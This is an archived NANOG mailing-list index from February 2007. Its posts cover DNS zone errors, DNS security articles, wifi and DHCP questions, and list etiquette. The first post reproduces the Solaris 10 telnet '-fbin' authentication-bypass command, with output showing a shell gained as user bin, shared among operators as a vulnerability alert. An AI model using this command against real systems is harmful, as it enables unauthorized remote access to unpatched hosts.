- NANOG - lists.nanog.org

Solaris 10 Telnet Exploit
by William Schultz 15 Feb '07

15 Feb '07

http://erratasec.blogspot.com/2007/02/trivial-remote-solaris-0day- disable.html Tested on Sol10, and it indeed works... Good thing we use SSH, right?! ################################ iWil:~ wschultz$ telnet -l "-fbin" dns1 Trying A.B.C.D... Connected to dns1.my.com. Escape character is '^]'. Last login: Sun Feb 11 18:11:05 from A.B.C.D Sun Microsystems Inc. SunOS 5.10 Generic January 2005 $ id uid=2(bin) gid=2(bin) $ ################################

4 6

Paging ATT.com DNS master
by David Ulevitch 15 Feb '07

15 Feb '07

You broke the zone for ATT.com. That's probably not good. -david $ dig @ns3.attdns.com att.com ; <<>> DiG 9.2.2 <<>> @ns3.attdns.com att.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 940 ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;att.com. IN A ;; Query time: 75 msec ;; SERVER: 144.160.20.47#53(ns3.attdns.com) ;; WHEN: Thu Feb 15 08:54:58 2007 ;; MSG SIZE rcvd: 25

2 1

Re: DNS: Definitely Not Safe?
by MARLON BORBA 15 Feb '07

15 Feb '07

mea culpa, mea maxima culpa :-( my intention, when suggested that reading, was to get your attention about that recent attack which targeted DNS top-level servers and to listen your opinions. i promise not to post porn, ops, FUD material to nanog again. Abraços, Marlon Borba, CISSP, DataCenter Associate Técnico Judiciário - Segurança da Informação TRF 3ª Região (11) 3012-1683 -- 1997-2007 - Dez Anos da DSUP. Conhecimento Gerando Soluções. -- >>> Paul Vixie <vixie(a)vix.com> 14/2/2007 15:01:09 >>> bortzmeyer(a)nic.fr (Stephane Bortzmeyer) writes: > It may be on-topic but it is full of FUD, mistakes and blatant > b...t. Certainly not the recommended reading for the sysadmin. i think you're being way to kind here. > The best stupid sentence is the one asking firewalls in front of the > DNS servers... to prevent tunneling data over DNS! just as the most common lie told by spammers is "dear friend", so it is that the biggest error in this piece is in the first sentence: When it comes to the Web's domain name system (DNS), this guy was probably writing netware-vs-smb comparisons during the two decades that the internet existed before the web came along. the web is an internet application, and the dns is part of the internet, not part of the web. the rest of the article is equally horrific in its maltreatment and ignorance of facts. -- Paul Vixie

5 5

Re: wifi for 600, alex
by Marshall Eubanks 15 Feb '07

15 Feb '07

The IETF experience is that enough people run 802.11a to take significant load off of the {b,g} network. Marshall On Feb 15, 2007, at 9:45 AM, Pickett, McLean (OCTO) wrote: > > > Works well if everyone has 802.11a/g card. That's been my biggest > concern > with deploying 802.11a recently. > > McLean > > -----Original Message----- > From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu] On > Behalf Of Todd > Vierling > Sent: Thursday, February 15, 2007 12:02 AM > To: Suresh Ramasubramanian > Cc: Marshall Eubanks; Carl Karsten; NANOG > Subject: Re: wifi for 600, alex > > > On 2/14/07, Suresh Ramasubramanian <ops.lists(a)gmail.com> wrote: >> 4. Isolate the wireless network from the main conference network / >> backbone so that critical stuff (streaming content for workshop and >> other presentations, the rego system etc) gets bandwidth allocated to >> it just fine, without it being eaten up by hungry laptops. > > The oft-overlooked 802.11a is great for this purpose when there isn't > enough wiring infrastructure to drop a RJ45 in all the necessary > conference rooms. Whereas 802.11[bgn] has only three (or four, > depending on who you quote) mostly non-overlapping frequencies -- even > less when MIMO is in use -- 802.11a has eight *completely* > non-overlapping standard channels. In nice open conference hall space > with at most two walls in the way, the rated shorter range of 11a is > actually not so noticeable because of the lack of radio noise. > > 2.4GHz is soooooo last decade. ;) > > (The 802.11[bgn] density where I live is so high that I resorted to > installing 802.11a throughout my house. Zero contention for airwaves > and I can actually get close to rated speed for data transmission.) > > -- > -- Todd Vierling <tv(a)duh.org> <tv(a)pobox.com> <todd(a)vierling.name>

2 1

RE: Wireless Network Question
by Frank Bulk 15 Feb '07

15 Feb '07

If you forced your customers use 802.1X for authentication they wouldn't get an IP address unless they were authorized. If 802.1X is not in the mix, another solution is to give them a very short lease (say 2 minutes) until they've completed web-based authentication, and then give them the one-hour lease. Any portal-based product for wireless hotspots can help you out here. Frank -----Original Message----- From: Frank Bulk Sent: Wednesday, February 14, 2007 5:40 PM To: nanog(a)merit.edu Subject: Wireless Network Question Hello- I'm looking for anyone that can send me some suggestions based on experience with a wireless network. My problem: It is possible with our current wireless network that a situation could arise where the IP address pool for a specific service location could be exhausted due to Windows clients acquiring an IP address without being authenticated. Thus, if we have a large event taking place in-market, the IP addresses would be assigned and reassigned out (on a one-hour lease) to each Windows client connected to the network, possibly quickly exhausting a small IP address pool if enough clients were simultaneously up and connected. Does anyone have a good suggestion on how to avoid this from happening (aside from over assigning and wasting IP addresses or ignoring the problem)? Thank you for your time MArla Azinger Frontier Communications

1 0

Re: Wireless Network Question
by Anton Kapela 14 Feb '07

14 Feb '07

Many here know I have a rather significant interest in wireless networks. In other forums I'd compose a lengthy and thorough reply, but I think this topic is pretty far "off topic" for a list of mainly network operators who don't operate wireless networks. Perhaps the MLC could comment? -Tk

1 0

Re: DNS: Definitely Not Safe?
by Scott Weeks 14 Feb '07

14 Feb '07

--- christopher.morrow(a)verizonbusiness.com wrote: From: "Chris L. Morrow" <christopher.morrow(a)verizonbusiness.com> > listen your opinions. i promise not to post porn, ops, FUD material to > nanog again. no one said anything about porn... ------------------------------------------------------------- router porn? Ohh, I never thought about that. Time to go to on a web search... ;-) scott

1 0

Wireless Network Question
by Azinger, Marla 14 Feb '07

14 Feb '07

Hello- I'm looking for anyone that can send me some suggestions based on experience with a wireless network. My problem: It is possible with our current wireless network that a situation could arise where the IP address pool for a specific service location could be exhausted due to Windows clients acquiring an IP address without being authenticated. Thus, if we have a large event taking place in-market, the IP addresses would be assigned and reassigned out (on a one-hour lease) to each Windows client connected to the network, possibly quickly exhausting a small IP address pool if enough clients were simultaneously up and connected. Does anyone have a good suggestion on how to avoid this from happening (aside from over assigning and wasting IP addresses or ignoring the problem)? Thank you for your time MArla Azinger Frontier Communications

1 0

DNS: Definitely Not Safe?
by MARLON BORBA 14 Feb '07

14 Feb '07

Security of DNS servers is an issue for network operators, thus pertaining to NANOG on-topics. This article shows a security-officer view of the recent DNS attacks. "Despite well-publicized attacks on domain name servers in 2000 and 2001, evidence suggests that many companies simply have not taken the steps necessary to protect this vital part of their networks. Experts differ on just how much danger companies generally face. However, they seem to agree that, depending on the circumstances and the company, the results could include electronic attacks and unknowingly providing confidential information to competitors." -- http://www.csoonline.com/read/020107/fea_dns.html?source=nlt_csoupdate Abraços, Marlon Borba, CISSP, DataCenter Associate Técnico Judiciário - Segurança da Informação TRF 3ª Região (11) 3012-1683 -- 1997-2007 - Dez Anos da DSUP. Conhecimento Gerando Soluções. --

5 4

Re: Solaris telnet vuln solutions digest and network risks
by MARLON BORBA 14 Feb '07

14 Feb '07

I agree with Gadi. Everything which affects Internet stability (e.g. DNS denial-of-service attacks) deserves attention of network operators. IMHO it's time to think about a new NANOG AUP. If, as Gadi says, "not all of us can handle all that an ISP would care", all of us (network operators, sysadmins, CISSPs ;-)) MUST work together (with the best of everyone's experience and knowledge) to bring a cleaner, safer, faster Internet for everyone. Marlon Borba, CISSP >>> Gadi Evron <ge(a)linuxbox.org> 14/2/2007 10:09:30 >>> [...] We may not care about phishing or this or that virus here, but we do about things we need to *deal with on our networks*. By we I obviously can't mean all of us, but not all of us can handle all that an ISP would care about from a network standpoint. Some only care about BGP, others only about DNS. Yet more others only about security. What we have here is a clash of cultures with changing times. Gadi.

2 1